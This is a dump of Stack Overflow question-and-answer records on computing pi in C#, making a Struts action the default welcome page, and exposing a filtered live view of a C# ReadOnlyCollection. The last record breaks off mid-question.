"text": "<p>Here's a nice approach (from <a href=\"http://en.wikipedia.org/wiki/Pi\" rel=\"nofollow noreferrer\">the main Wikipedia entry on pi</a>); it converges much faster than the simple formula discussed above, and is quite amenable to a recursive solution if your intent is to pursue recursion as a learning exercise. (Assuming that you're after the learning experience, I'm not giving any actual code.)</p>\n\n<p>The underlying formula is the same as above, but this approach averages the partial sums to accelerate the convergence.</p>\n\n<p>Define a two parameter function, pie(h, w), such that:</p>\n\n<pre><code>pie(0,1) = 4/1\npie(0,2) = 4/1 - 4/3\npie(0,3) = 4/1 - 4/3 + 4/5\npie(0,4) = 4/1 - 4/3 + 4/5 - 4/7\n... and so on\n</code></pre>\n\n<p>So your first opportunity to explore recursion is to code that \"horizontal\" computation as the \"width\" parameter increases (for \"height\" of zero).</p>\n\n<p>Then add the second dimension with this formula:</p>\n\n<pre><code>pie(h, w) = (pie(h-1,w) + pie(h-1,w+1)) / 2\n</code></pre>\n\n<p>which is used, of course, only for values of h greater than zero.</p>\n\n<p>The nice thing about this algorithm is that you can easily mock it up with a spreadsheet to check your code as you explore the results produced by progressively larger parameters. By the time you compute pie(10,10), you'll have an approximate value for pi that's good enough for most engineering purposes.</p>\n"
},
{
"answer_id": 40572,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 2,
"selected": false,
"text": "<p>What is PI? The circumference of a circle divided by its diameter.</p>\n\n<p>In computer graphics you can plot/draw a circle with its centre at 0,0 from a initial point x,y, the next point x',y' can be found using a simple formula:\nx' = x + y / h : y' = y - x' / h</p>\n\n<p>h is usually a power of 2 so that the divide can be done easily with a shift (or subtracting from the exponent on a double). h also wants to be the radius r of your circle. An easy start point would be x = r, y = 0, and then to count c the number of steps until x <= 0 to plot a quater of a circle. PI is 4 * c / r or PI is 4 * c / h</p>\n\n<p>Recursion to any great depth, is usually impractical for a commercial program, but tail recursion allows an algorithm to be expressed recursively, while implemented as a loop. Recursive search algorithms can sometimes be implemented using a queue rather than the process's stack, the search has to backtrack from a deadend and take another path - these backtrack points can be put in a queue, and multiple processes can un-queue the points and try other paths.</p>\n"
},
{
"answer_id": 40657,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 3,
"selected": false,
"text": "<p>There are a couple of really, really old tricks I'm surprised to not see here.</p>\n\n<p>atan(1) == PI/4, so an old chestnut when a trustworthy arc-tangent function is\npresent is 4*atan(1).</p>\n\n<p>A very cute, fixed-ratio estimate that makes the old Western 22/7 look like dirt\nis 355/113, which is good to several decimal places (at least three or four, I think).\nIn some cases, this is even good enough for integer arithmetic: multiply by 355 then divide by 113.</p>\n\n<p>355/113 is also easy to commit to memory (for some people anyway): count one, one, three, three, five, five and remember that you're naming the digits in the denominator and numerator (if you forget which triplet goes on top, a microsecond's thought is usually going to straighten it out).</p>\n\n<p>Note that 22/7 gives you: 3.14285714, which is wrong at the thousandths.</p>\n\n<p>355/113 gives you 3.14159292 which isn't wrong until the ten-millionths.</p>\n\n<p>Acc. to /usr/include/math.h on my box, M_PI is #define'd as:\n 3.14159265358979323846\nwhich is probably good out as far as it goes.</p>\n\n<p>The lesson you get from estimating PI is that there are lots of ways of doing it,\nnone will ever be perfect, and you have to sort them out by intended use.</p>\n\n<p>355/113 is an old Chinese estimate, and I believe it pre-dates 22/7 by many years. It was taught me by a physics professor when I was an undergrad.</p>\n"
},
{
"answer_id": 40690,
"author": "OysterD",
"author_id": 2638,
"author_profile": "https://Stackoverflow.com/users/2638",
"pm_score": 0,
"selected": false,
"text": "<p>@Thomas Kammeyer:</p>\n\n<p>Note that Atan(1.0) is quite often hardcoded, so 4*Atan(1.0) is not really an 'algorithm' if you're calling a library Atan function (an quite a few already suggested indeed proceed by replacing Atan(x) by a series (or infinite product) for it, then evaluating it at x=1.</p>\n\n<p>Also, <strong>there are very few cases where you'd need pi at more precision than a few tens of bits</strong> (which can be easily hardcoded!). I've worked on applications in mathematics where, to compute some (quite complicated) mathematical objects (which were polynomial with integer coefficients), I had to do arithmetic on real and complex numbers (including computing pi) with a precision of up to a few million bits... but this is not very frequent 'in real life' :)</p>\n\n<p>You can look up the following example <a href=\"http://gmplib.org/pi-with-gmp.html\" rel=\"nofollow noreferrer\">code</a>.</p>\n"
},
{
"answer_id": 4104365,
"author": "Dean Chalk",
"author_id": 498104,
"author_profile": "https://Stackoverflow.com/users/498104",
"pm_score": 1,
"selected": false,
"text": "<pre><code>Enumerable.Range(0, 100000000).Aggregate(0d, (tot, next) => tot += Math.Pow(-1d, next)/(2*next + 1)*4)\n</code></pre>\n"
},
{
"answer_id": 4283808,
"author": "Oliver",
"author_id": 1838048,
"author_profile": "https://Stackoverflow.com/users/1838048",
"pm_score": 3,
"selected": false,
"text": "<p>If you take a close look into this really good guide:</p>\n\n<p><a href=\"http://www.microsoft.com/downloads/en/details.aspx?FamilyID=86b3d32b-ad26-4bb8-a3ae-c1637026c3ee&displaylang=en\" rel=\"nofollow\">Patterns for Parallel Programming: Understanding and Applying Parallel Patterns with the .NET Framework 4</a></p>\n\n<p>You'll find at Page 70 this cute implementation (with minor changes from my side):</p>\n\n<pre><code>static decimal ParallelPartitionerPi(int steps)\n{\n decimal sum = 0.0;\n decimal step = 1.0 / (decimal)steps;\n object obj = new object();\n\n Parallel.ForEach(\n Partitioner.Create(0, steps),\n () => 0.0,\n (range, state, partial) =>\n {\n for (int i = range.Item1; i < range.Item2; i++)\n {\n decimal x = (i - 0.5) * step;\n partial += 4.0 / (1.0 + x * x);\n }\n\n return partial;\n },\n partial => { lock (obj) sum += partial; });\n\n return step * sum;\n}\n</code></pre>\n"
},
{
"answer_id": 6650877,
"author": "Rodrigo",
"author_id": 838981,
"author_profile": "https://Stackoverflow.com/users/838981",
"pm_score": 0,
"selected": false,
"text": "<p>The following link shows how to calculate the pi constant based on its definition as an integral, that can be written as a limit of a summation, it's very interesting:\n<a href=\"https://sites.google.com/site/rcorcs/posts/calculatingthepiconstant\" rel=\"nofollow\">https://sites.google.com/site/rcorcs/posts/calculatingthepiconstant</a>\nThe file \"Pi as an integral\" explains this method used in this post.</p>\n"
},
{
"answer_id": 11075542,
"author": "Tim Long",
"author_id": 98516,
"author_profile": "https://Stackoverflow.com/users/98516",
"pm_score": 0,
"selected": false,
"text": "<p>I like <a href=\"http://www.cygnus-software.com/misc/pidigits.htm\" rel=\"nofollow\">this paper</a>, which explains how to calculate π based on a Taylor series expansion for Arctangent.</p>\n\n<p>The paper starts with the simple assumption that</p>\n\n<blockquote>\n <p>Atan(1) = π/4 radians</p>\n</blockquote>\n\n<p>Atan(x) can be iteratively estimated with the Taylor series</p>\n\n<blockquote>\n <p>atan(x) = x - x^3/3 + x^5/5 - x^7/7 + x^9/9...</p>\n</blockquote>\n\n<p>The paper points out why this is not particularly efficient and goes on to make a number of logical refinements in the technique. They also provide a sample program that computes π to a few thousand digits, complete with source code, including the infinite-precision math routines required.</p>\n"
},
{
"answer_id": 25638402,
"author": "ronalt MkDonalt",
"author_id": 4002951,
"author_profile": "https://Stackoverflow.com/users/4002951",
"pm_score": 1,
"selected": false,
"text": "<pre><code>using System;\n\nnamespace Strings\n{\n class Program\n {\n static void Main(string[] args)\n {\n\n/* decimal pie = 1; \n decimal e = -1;\n*/\n var stopwatch = new System.Diagnostics.Stopwatch();\n stopwatch.Start(); //added this nice stopwatch start routine \n\n //leibniz formula in C# - code written completely by Todd Mandell 2014\n/*\n for (decimal f = (e += 2); f < 1000001; f++)\n {\n e += 2;\n pie -= 1 / e;\n e += 2;\n pie += 1 / e;\n Console.WriteLine(pie * 4);\n }\n\n decimal finalDisplayString = (pie * 4);\n Console.WriteLine(\"pie = {0}\", finalDisplayString);\n Console.WriteLine(\"Accuracy resulting from approximately {0} steps\", e/4); \n*/\n\n// Nilakantha formula - code written completely by Todd Mandell 2014\n// π = 3 + 4/(2*3*4) - 4/(4*5*6) + 4/(6*7*8) - 4/(8*9*10) + 4/(10*11*12) - (4/(12*13*14) etc\n\n decimal pie = 0;\n decimal a = 2;\n decimal b = 3;\n decimal c = 4;\n decimal e = 1;\n\n for (decimal f = (e += 1); f < 100000; f++) \n // Increase f where \"f < 100000\" to increase number of steps\n {\n\n pie += 4 / (a * b * c);\n\n a += 2;\n b += 2;\n c += 2;\n\n pie -= 4 / (a * b * c);\n\n a += 2;\n b += 2;\n c += 2;\n\n e += 1;\n }\n\n decimal finalDisplayString = (pie + 3);\n Console.WriteLine(\"pie = {0}\", finalDisplayString);\n Console.WriteLine(\"Accuracy resulting from {0} steps\", e); \n\n stopwatch.Stop();\n TimeSpan ts = stopwatch.Elapsed;\n Console.WriteLine(\"Calc Time {0}\", ts); \n\n Console.ReadLine();\n\n }\n }\n }\n</code></pre>\n"
},
{
"answer_id": 26697642,
"author": "Curious",
"author_id": 2610539,
"author_profile": "https://Stackoverflow.com/users/2610539",
"pm_score": 1,
"selected": false,
"text": "<pre><code> public static string PiNumberFinder(int digitNumber)\n {\n string piNumber = \"3,\";\n int dividedBy = 11080585;\n int divisor = 78256779;\n int result;\n\n for (int i = 0; i < digitNumber; i++)\n {\n if (dividedBy < divisor)\n dividedBy *= 10;\n\n result = dividedBy / divisor;\n\n string resultString = result.ToString();\n piNumber += resultString;\n\n dividedBy = dividedBy - divisor * result;\n }\n\n return piNumber;\n }\n</code></pre>\n"
},
{
"answer_id": 40686034,
"author": "Larry Paden",
"author_id": 7175676,
"author_profile": "https://Stackoverflow.com/users/7175676",
"pm_score": 0,
"selected": false,
"text": "<p>First, note that C# can use the Math.PI field of the .NET framework: </p>\n\n<p><a href=\"https://msdn.microsoft.com/en-us/library/system.math.pi(v=vs.110).aspx\" rel=\"nofollow noreferrer\">https://msdn.microsoft.com/en-us/library/system.math.pi(v=vs.110).aspx</a></p>\n\n<p>The nice feature here is that it's a full-precision double that you can either use, or compare with computed results. The tabs at that URL have similar constants for C++, F# and Visual Basic. </p>\n\n<p>To calculate more places, you can write your own extended-precision code. One that is quick to code and reasonably fast and easy to program is: </p>\n\n<p>Pi = 4 * [4 * arctan (1/5) - arctan (1/239)]</p>\n\n<p>This formula and many others, including some that converge at amazingly fast rates, such as 50 digits per term, are at Wolfram: </p>\n\n<p><a href=\"http://mathworld.wolfram.com/PiFormulas.html\" rel=\"nofollow noreferrer\">Wolfram Pi Formulas</a></p>\n"
},
{
"answer_id": 49317760,
"author": "Slaven Tojić",
"author_id": 7308680,
"author_profile": "https://Stackoverflow.com/users/7308680",
"pm_score": 0,
"selected": false,
"text": "<p><strong>PI (π)</strong> can be calculated by using <strong>infinite series</strong>. Here are two examples:</p>\n\n<p><strong>Gregory-Leibniz Series:</strong></p>\n\n<blockquote>\n <p>π/4 = 1 - 1/3 + 1/5 - 1/7 + 1/9 - ...</p>\n</blockquote>\n\n<p>C# method :</p>\n\n<pre><code>public static decimal GregoryLeibnizGetPI(int n)\n{\n decimal sum = 0;\n decimal temp = 0;\n for (int i = 0; i < n; i++)\n {\n temp = 4m / (1 + 2 * i);\n sum += i % 2 == 0 ? temp : -temp;\n }\n return sum;\n}\n</code></pre>\n\n<p><strong>Nilakantha Series:</strong></p>\n\n<blockquote>\n <p>π = 3 + 4 / (2x3x4) - 4 / (4x5x6) + 4 / (6x7x8) - 4 / (8x9x10) + ...</p>\n</blockquote>\n\n<p>C# method:</p>\n\n<pre><code>public static decimal NilakanthaGetPI(int n)\n{\n decimal sum = 0;\n decimal temp = 0;\n decimal a = 2, b = 3, c = 4;\n for (int i = 0; i < n; i++)\n {\n temp = 4 / (a * b * c);\n sum += i % 2 == 0 ? temp : -temp;\n a += 2; b += 2; c += 2;\n }\n return 3 + sum;\n}\n</code></pre>\n\n<p>The input parameter <code>n</code> for both functions represents the number of iteration.</p>\n\n<p>The Nilakantha Series in comparison with Gregory-Leibniz Series converges more quickly. The methods can be tested with the following code:</p>\n\n<pre><code>static void Main(string[] args)\n{\n const decimal pi = 3.1415926535897932384626433832m;\n Console.WriteLine($\"PI = {pi}\");\n\n //Nilakantha Series\n int iterationsN = 100;\n decimal nilakanthaPI = NilakanthaGetPI(iterationsN);\n decimal CalcErrorNilakantha = pi - nilakanthaPI;\n Console.WriteLine($\"\\nNilakantha Series -> PI = {nilakanthaPI}\");\n Console.WriteLine($\"Calculation error = {CalcErrorNilakantha}\");\n int numDecNilakantha = pi.ToString().Zip(nilakanthaPI.ToString(), (x, y) => x == y).TakeWhile(x => x).Count() - 2;\n Console.WriteLine($\"Number of correct decimals = {numDecNilakantha}\");\n Console.WriteLine($\"Number of iterations = {iterationsN}\");\n\n //Gregory-Leibniz Series\n int iterationsGL = 1000000;\n decimal GregoryLeibnizPI = GregoryLeibnizGetPI(iterationsGL);\n decimal CalcErrorGregoryLeibniz = pi - GregoryLeibnizPI;\n Console.WriteLine($\"\\nGregory-Leibniz Series -> PI = {GregoryLeibnizPI}\");\n Console.WriteLine($\"Calculation error = {CalcErrorGregoryLeibniz}\");\n int numDecGregoryLeibniz = pi.ToString().Zip(GregoryLeibnizPI.ToString(), (x, y) => x == y).TakeWhile(x => x).Count() - 2;\n Console.WriteLine($\"Number of correct decimals = {numDecGregoryLeibniz}\");\n Console.WriteLine($\"Number of iterations = {iterationsGL}\");\n\n Console.ReadKey();\n}\n</code></pre>\n\n<p>The following output shows that Nilakantha Series returns six correct decimals of PI with one hundred iterations whereas Gregory-Leibniz Series returns five correct decimals of PI with one million iterations:</p>\n\n<p><a href=\"https://i.stack.imgur.com/lXZhT.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/lXZhT.png\" alt=\"enter image description here\"></a></p>\n\n<p>My code can be tested >> <a href=\"https://dotnetfiddle.net/Et4rAX\" rel=\"nofollow noreferrer\">here</a></p>\n"
},
{
"answer_id": 50304341,
"author": "Idan Rotbart",
"author_id": 6941443,
"author_profile": "https://Stackoverflow.com/users/6941443",
"pm_score": 0,
"selected": false,
"text": "<p>Here is a nice way:\nCalculate a series of 1/x^2 for x from 1 to what ever you want- the bigger number- the better pie result. Multiply the result by 6 and to sqrt().\nHere is the code in c# (main only):</p>\n\n<pre><code>static void Main(string[] args)\n {\n double counter = 0;\n for (double i = 1; i < 1000000; i++)\n {\n\n counter = counter + (1 / (Math.Pow(i, 2)));\n\n }\n counter = counter * 6;\n counter = Math.Sqrt(counter);\n Console.WriteLine(counter);\n }\n</code></pre>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39395",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/383/"
] | How can I calculate the value of PI using C#?
I was thinking it would be through a recursive function, if so, what would it look like and are there any math equations to back it up?
I'm not too fussy about performance, mainly how to go about it from a learning point of view. | If you want recursion:
```
PI = 2 * (1 + 1/3 * (1 + 2/5 * (1 + 3/7 * (...))))
```
This would become, after some rewriting:
```
PI = 2 * F(1);
```
with F(i):
```
double F (int i) {
return 1 + i / (2.0 * i + 1) * F(i + 1);
}
```
Isaac Newton (you may have heard of him before ;) ) came up with this trick.
Note that I left out the end condition, to keep it simple. In real life, you kind of need one. |
39,399 | <p>I have a struts-based webapp, and I would like the default "welcome" page to be an action. The only solutions I have found to this seem to be variations on making the welcome page a JSP that contains a redirect to the action. For example, in <code>web.xml</code>:</p>
<pre><code><welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</code></pre>
<p>and in <code>index.jsp</code>:</p>
<pre><code><%
response.sendRedirect("/myproject/MyAction.action");
%>
</code></pre>
<p>Surely there's a better way!</p>
| [
{
"answer_id": 39599,
"author": "bpapa",
"author_id": 543,
"author_profile": "https://Stackoverflow.com/users/543",
"pm_score": 1,
"selected": false,
"text": "<p>It appears that a popular solution will not work in all containers... <a href=\"http://www.theserverside.com/discussions/thread.tss?thread_id=30190\" rel=\"nofollow noreferrer\">http://www.theserverside.com/discussions/thread.tss?thread_id=30190</a></p>\n"
},
{
"answer_id": 40745,
"author": "Georgy Bolyuba",
"author_id": 4052,
"author_profile": "https://Stackoverflow.com/users/4052",
"pm_score": 1,
"selected": false,
"text": "<p>I would create a filter and bounce all requests to root back with forward responce. Hacks with creating home.do page looks ugly to me (One more thing to remember for you and investigate for someone who will support your code). </p>\n"
},
{
"answer_id": 42614,
"author": "Damien B",
"author_id": 3069,
"author_profile": "https://Stackoverflow.com/users/3069",
"pm_score": 3,
"selected": false,
"text": "<p>\"Surely there's a better way!\"</p>\n\n<p>There isn't. Servlet specifications (Java Servlet Specification 2.4, \"SRV.9.10 Welcome Files\" for instance) state:</p>\n\n<blockquote>\n <p>The purpose of this mechanism is to allow the deployer to specify an ordered\n list of partial URIs for the container to use for appending to URIs when there is a\n request for a URI that corresponds to a directory entry in the WAR not mapped to\n a Web component.</p>\n</blockquote>\n\n<p>You can't map Struts on '/', because Struts kind of require to work with a file extension. So you're left to use an implicitely mapped component, such as a JSP or a static file. All the other solutions are just hacks. So keep your solution, it's perfectly readable and maintainable, don't bother looking further.</p>\n"
},
{
"answer_id": 43879,
"author": "Martin McNulty",
"author_id": 4507,
"author_profile": "https://Stackoverflow.com/users/4507",
"pm_score": 5,
"selected": false,
"text": "<p>Personally, I'd keep the same setup you have now, but change the redirect for a forward. That avoids sending a header back to the client and having them make another request.</p>\n\n<p>So, in particular, I'd replace the </p>\n\n<pre><code><% \n response.sendRedirect(\"/myproject/MyAction.action\");\n%>\n</code></pre>\n\n<p>in index.jsp with</p>\n\n<pre><code><jsp:forward page=\"/MyAction.action\" />\n</code></pre>\n\n<p>The other effect of this change is that the user won't see the URL in the address bar change from \"<a href=\"http://server/myproject\" rel=\"noreferrer\">http://server/myproject</a>\" to \"<a href=\"http://server/myproject/index.jsp\" rel=\"noreferrer\">http://server/myproject/index.jsp</a>\", as the forward happens internally on the server.</p>\n"
},
{
"answer_id": 318846,
"author": "Craig Wohlfeil",
"author_id": 22767,
"author_profile": "https://Stackoverflow.com/users/22767",
"pm_score": 4,
"selected": false,
"text": "<p>As of the 2.4 version of the Servlet specification you are allowed to have a servlet in the welcome file list. Note that this may not be a URL (such as /myproject/MyAction.action). It must be a named servlet and you cannot pass a query string to the servlet. Your controller servlet would need to have a default action.</p>\n\n<pre><code><servlet>\n <servlet-name>MyController</servlet-name>\n <servlet-class>com.example.MyControllerServlet</servlet-class>\n</servlet>\n<servlet-mapping>\n <servlet-name>MyController</servlet-name>\n <url-pattern>*.action</url-pattern>\n</servlet-mapping>\n<welcome-file-list>\n <welcome-file>MyController</welcome-file>\n</welcome-file-list>\n</code></pre>\n"
},
{
"answer_id": 1775500,
"author": "Nischal",
"author_id": 69542,
"author_profile": "https://Stackoverflow.com/users/69542",
"pm_score": 3,
"selected": false,
"text": "<p>Something that I do is to put an empty file of the same name as your struts action and trick the container to call the struts action.</p>\n\n<p>Ex. If your struts action is welcome.do, create an empty file named welcome.do. That should trick the container to call the Struts action.</p>\n"
},
{
"answer_id": 4842983,
"author": "Srikanth",
"author_id": 483628,
"author_profile": "https://Stackoverflow.com/users/483628",
"pm_score": 4,
"selected": false,
"text": "<p>This is a pretty old thread but the topic discussed, i think, is still relevant. I use a struts tag - s:action to achieve this. I created an index.jsp in which i wrote this...</p>\n\n<pre><code><s:action name=\"loadHomePage\" namespace=\"/load\" executeResult=\"true\" />\n</code></pre>\n"
},
{
"answer_id": 14811399,
"author": "Navathej",
"author_id": 2061197,
"author_profile": "https://Stackoverflow.com/users/2061197",
"pm_score": -1,
"selected": false,
"text": "<p>This works as well reducing the need of a new servlet or jsp</p>\n\n<pre><code><welcome-file-list>\n<welcome-file>/MyAction.action</welcome-file>\n</welcome-file-list>\n</code></pre>\n"
},
{
"answer_id": 15551450,
"author": "gavenkoa",
"author_id": 173149,
"author_profile": "https://Stackoverflow.com/users/173149",
"pm_score": 1,
"selected": false,
"text": "<p>Here two blogs with same technique:</p>\n\n<ul>\n<li><a href=\"http://technologicaloddity.com/2010/03/25/spring-welcome-file-without-redirect/\" rel=\"nofollow\">http://technologicaloddity.com/2010/03/25/spring-welcome-file-without-redirect/</a></li>\n<li><a href=\"http://wiki.metawerx.net/wiki/HowToUseAServletAsYourMainWebPage\" rel=\"nofollow\">http://wiki.metawerx.net/wiki/HowToUseAServletAsYourMainWebPage</a></li>\n</ul>\n\n<p>It require Servlet API >= v2.4:</p>\n\n<pre><code><servlet-mapping>\n <servlet-name>dispatcher</servlet-name>\n <url-pattern>/</url-pattern>\n <url-pattern>/index.htm</url-pattern> <<== *1*\n</servlet-mapping>\n<welcome-file-list>\n <welcome-file>index.htm</welcome-file> <<== *2*\n</welcome-file-list>\n</code></pre>\n\n<p>so you no longer need <code>redirect.jsp</code> in non-<code>WEB-INF</code> directory!!</p>\n"
},
{
"answer_id": 15905476,
"author": "John Solomon",
"author_id": 932723,
"author_profile": "https://Stackoverflow.com/users/932723",
"pm_score": 0,
"selected": false,
"text": "<p>Just add a filter above Strut's filter in <code>web.xml</code> like this:</p>\n\n<pre><code><filter>\n <filter-name>customfilter</filter-name>\n <filter-class>com.example.CustomFilter</filter-class>\n</filter>\n<filter-mapping>\n <filter-name>customfilter</filter-name>\n <url-pattern>/*</url-pattern>\n</filter-mapping>\n</code></pre>\n\n<p>And add the following code in doFilter method of that CustomFilter class</p>\n\n<pre><code>public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,\n FilterChain filterChain) throws IOException, ServletException {\n HttpServletRequest httpRequest = (HttpServletRequest)servletRequest;\n HttpServletResponse httpResponse = (HttpServletResponse)servletResponse;\n if (! httpResponse.isCommitted()) {\n if ((httpRequest.getContextPath() + \"/\").equals(httpRequest.getRequestURI())) {\n httpResponse.sendRedirect(httpRequest.getContextPath() + \"/MyAction\");\n }\n else {\n filterChain.doFilter(servletRequest, servletResponse);\n }\n }\n}\n</code></pre>\n\n<p>So that Filter will redirect to the action. You dont need any JSP to be placed outside WEB-INF as well. </p>\n"
},
{
"answer_id": 16113198,
"author": "Lund Wolfe",
"author_id": 1247753,
"author_profile": "https://Stackoverflow.com/users/1247753",
"pm_score": -1,
"selected": false,
"text": "<p>This worked fine for me, too:</p>\n\n<pre><code><welcome-file-list>\n<welcome-file>MyAction.action</welcome-file>\n</welcome-file-list>\n</code></pre>\n\n<p>I was not able to get the default action to execute when the user enters the webapp using the root of the web app (mywebapp/). There is a bug in struts 2.3.12 that won't go to the default action or use the welcome page when you use the root url. This will be a common occurrence. Once I changed back to struts 2.1.8 it worked fine.</p>\n"
},
{
"answer_id": 16638674,
"author": "siva",
"author_id": 1830486,
"author_profile": "https://Stackoverflow.com/users/1830486",
"pm_score": 0,
"selected": false,
"text": "<p>I have configured like following. it worked perfect and no URL change also...</p>\n\n<p>Create a dummy action like following in struts2.xml file. so whenever we access application like <code>http://localhost:8080/myapp</code>, it will forward that to dummy action and then it redirects to index.jsp / index.tiles...</p>\n\n<pre><code><action name=\"\">\n <result type=\"tiles\">/index.tiles</result>\n</action>\n</code></pre>\n\n<p>w/o tiles</p>\n\n<pre><code><action name=\"\">\n <result>/index.jsp</result>\n</action>\n</code></pre>\n\n<p>may be we configure some action index.action in web.xml as <code><welcome-file>index.action</welcome-file></code>, and use that action to forward required page...</p>\n"
},
{
"answer_id": 18162786,
"author": "msangel",
"author_id": 449553,
"author_profile": "https://Stackoverflow.com/users/449553",
"pm_score": 1,
"selected": false,
"text": "<p><a href=\"https://stackoverflow.com/a/43879/449553\">there are this answer above</a> but it is not clear about web app context\nso\ni do this:</p>\n\n<pre><code><welcome-file-list>\n <welcome-file>index.jsp</welcome-file>\n</welcome-file-list>\n<servlet>\n <servlet-name>TilesDispatchServlet</servlet-name>\n <servlet-class>org.apache.tiles.web.util.TilesDispatchServlet</servlet-class>\n</servlet>\n<servlet-mapping>\n <servlet-name>TilesDispatchServlet</servlet-name>\n <url-pattern>*.tiles</url-pattern>\n</servlet-mapping>\n</code></pre>\n\n<p>And in <code>index.jsp</code> i just write:</p>\n\n<pre><code><jsp:forward page=\"index.tiles\" />\n</code></pre>\n\n<p>And i have index definition, named <code>index</code> and it all togather work fine and not depends on webapp context path.</p>\n"
},
{
"answer_id": 33825842,
"author": "WesternGun",
"author_id": 4537090,
"author_profile": "https://Stackoverflow.com/users/4537090",
"pm_score": 0,
"selected": false,
"text": "<p>I am almost sure that the OP is the best solution(not sure about best practice, but it works perfectly, and actually is the solution my project leader and I prefer.)</p>\n\n<p>Additionally, I find it can be combined with Spring security like this:</p>\n\n<pre><code><%@ page language=\"java\" contentType=\"text/html; charset=UTF-8\" pageEncoding=\"UTF-8\"%>\n<%@ taglib prefix=\"sec\" uri=\"http://www.springframework.org/security/tags\" %>\n\n<sec:authorize access=\"isAnonymous()\">\n <% response.sendRedirect(\"/myApp/login/login.action?error=false\"); %>\n</sec:authorize>\n<sec:authorize access=\"isAuthenticated() and (hasRole('ADMIN') or hasRole('USER'))\">\n <% response.sendRedirect(\"/myApp/principal/principal.action\"); %>\n</sec:authorize>\n<sec:authorize access=\"isAuthenticated() and hasRole('USER')\">\n <% response.sendRedirect(\"/myApp/user/userDetails.action\"); %>\n</sec:authorize>\n</code></pre>\n\n<p>By this, not only we have control over the first page to be the login form, but we control the flow <strong>AFTER</strong> user is login in, depending on his role. Works like a charm.</p>\n"
},
{
"answer_id": 36919549,
"author": "Ravi MCA",
"author_id": 1588361,
"author_profile": "https://Stackoverflow.com/users/1588361",
"pm_score": 0,
"selected": false,
"text": "<p>Below code can be used in struts.xml to load welcome page.</p>\n\n<p>Execute some Action before loading a welcome page.</p>\n\n<pre><code><!-- welcome page configuration -begin -->\n <action name=\"\" class=\"com.LoginAction\">\n <result name=\"success\">login.jsp</result>\n </action>\n<!-- welcome page configuration -end -->\n</code></pre>\n\n<p>Return directly some JSP without execution of an Action.</p>\n\n<pre><code><!-- welcome page configuration -begin -->\n <action name=\"\">\n <result name=\"success\">login.jsp</result>\n </action>\n<!-- welcome page configuration -end -->\n</code></pre>\n\n<p>No <code><welcome-file-list></code> is not needed in web.xml</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39399",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3913/"
] | I have a struts-based webapp, and I would like the default "welcome" page to be an action. The only solutions I have found to this seem to be variations on making the welcome page a JSP that contains a redirect to the action. For example, in `web.xml`:
```
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
```
and in `index.jsp`:
```
<%
response.sendRedirect("/myproject/MyAction.action");
%>
```
Surely there's a better way! | Personally, I'd keep the same setup you have now, but change the redirect for a forward. That avoids sending a header back to the client and having them make another request.
So, in particular, I'd replace the
```
<%
response.sendRedirect("/myproject/MyAction.action");
%>
```
in index.jsp with
```
<jsp:forward page="/MyAction.action" />
```
The other effect of this change is that the user won't see the URL in the address bar change from "<http://server/myproject>" to "<http://server/myproject/index.jsp>", as the forward happens internally on the server. |
39,447 | <p>I have a class property exposing an internal IList<> through</p>
<pre><code>System.Collections.ObjectModel.ReadOnlyCollection<>
</code></pre>
<p>How can I pass a part of this <code>ReadOnlyCollection<></code> without copying elements into a new array (I need a live view, and the target device is short on memory)? I'm targetting Compact Framework 2.0.</p>
| [
{
"answer_id": 39460,
"author": "Nir",
"author_id": 3509,
"author_profile": "https://Stackoverflow.com/users/3509",
"pm_score": 1,
"selected": false,
"text": "<p>You can always write a class that implements IList and forwards all calls to the original list (so it doesn't have it's own copy of the data) after translating the indexes.</p>\n"
},
{
"answer_id": 39462,
"author": "Mendelt",
"author_id": 3320,
"author_profile": "https://Stackoverflow.com/users/3320",
"pm_score": 1,
"selected": false,
"text": "<p>You could use yield return to create a filtered list</p>\n\n<pre><code>IEnumerable<object> FilteredList()\n{\n foreach( object item in FullList )\n {\n if( IsItemInPartialList( item )\n yield return item;\n }\n}\n</code></pre>\n"
},
{
"answer_id": 39464,
"author": "Herms",
"author_id": 1409,
"author_profile": "https://Stackoverflow.com/users/1409",
"pm_score": 0,
"selected": false,
"text": "<p>How do the filtered elements need to be accessed? If it's through an Iterator then maybe you could write a custom iterator that skips the elements you don't want publicly visible?</p>\n\n<p>If you need to provide a Collection then you might need to write your own Collection class, which just proxies to the underlying Collection, but prevents access to the elements you don't want publicly visible.</p>\n\n<p>(Disclaimer: I'm not very familiar with C#, so these are general answers. There may be more specific answers to C# that work better)</p>\n"
},
{
"answer_id": 39467,
"author": "Keith",
"author_id": 905,
"author_profile": "https://Stackoverflow.com/users/905",
"pm_score": 5,
"selected": true,
"text": "<p>Try a method that returns an enumeration using yield:</p>\n\n<pre><code>IEnumerable<T> FilterCollection<T>( ReadOnlyCollection<T> input ) {\n foreach ( T item in input )\n if ( /* criterion is met */ )\n yield return item;\n}\n</code></pre>\n"
},
{
"answer_id": 39469,
"author": "Blair Conrad",
"author_id": 1199,
"author_profile": "https://Stackoverflow.com/users/1199",
"pm_score": 1,
"selected": false,
"text": "<p>Depending on how you need to filter the collection, you may want to create a class that implements IList (or IEnumerable, if that works for you) but that mucks about with the indexing and access to only return the values you want. For example</p>\n\n<pre><code>class EvenList: IList\n{\n private IList innerList;\n public EvenList(IList innerList)\n {\n this.innerList = innerList;\n }\n\n public object this[int index]\n {\n get { return innerList[2*i]; }\n set { innerList[2*i] = value; }\n }\n // and similarly for the other IList methods\n}\n</code></pre>\n"
},
{
"answer_id": 39481,
"author": "Brad Wilson",
"author_id": 1554,
"author_profile": "https://Stackoverflow.com/users/1554",
"pm_score": 3,
"selected": false,
"text": "<p>These foreach samples are fine, though you can make them much more terse if you're using .NET 3.5 and LINQ:</p>\n\n<pre><code>return FullList.Where(i => IsItemInPartialList(i)).ToList();\n</code></pre>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39447",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3205/"
] | I have a class property exposing an internal IList<> through
```
